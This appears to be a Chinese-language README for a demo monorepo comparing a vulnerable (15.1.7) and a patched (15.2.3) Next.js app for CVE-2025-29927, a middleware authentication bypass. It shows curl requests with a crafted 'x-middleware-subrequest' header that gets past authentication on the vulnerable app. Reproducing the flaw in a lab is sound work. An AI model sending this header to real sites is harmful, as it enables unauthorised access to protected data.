
vulnerable-nextjs-14-CVE-2025-29927
该仓库是一个使用 Next.js 15.2.3 和 Next.js 15.1.7 版本比较 CVE-2025-29927 中间件漏洞的 monorepo 项目。
CVE-2025-29927 是 Next.js 中间件中发现的一个安全漏洞,可以通过使用 x-middleware-subrequest 头绕过认证中间件。 该漏洞影响以下版本:
pnpm installpnpm dev$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
nextjs-cve-2025-29927/
├── apps/
│ ├── next15_1_7/ # 存在漏洞版本
│ └── next15_2_3/ # 已修复版本
├── packages/
│ └── ui/ # 共享 UI 组件
└── README.md